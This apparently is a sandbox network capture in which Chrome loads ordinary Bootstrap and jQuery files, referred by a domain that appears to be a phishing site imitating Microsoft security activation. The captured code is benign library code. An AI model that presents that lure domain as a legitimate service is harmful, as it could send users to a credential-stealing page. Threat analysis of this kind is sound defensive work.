2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 Data Ascii: ,this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 Data Ascii: /input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 Data Ascii: d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remov
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 Data Ascii: TA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49758	104.18.11.207	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:04 UTC	693	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1754753 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901e499f1d9680e0-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49756	151.101.66.137	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:04 UTC	746	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1382049 Date: Tue, 14 Jan 2025 14:24:04 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740020-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1736864645.952917,VS0,VE1 Vary: Accept-Encoding
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
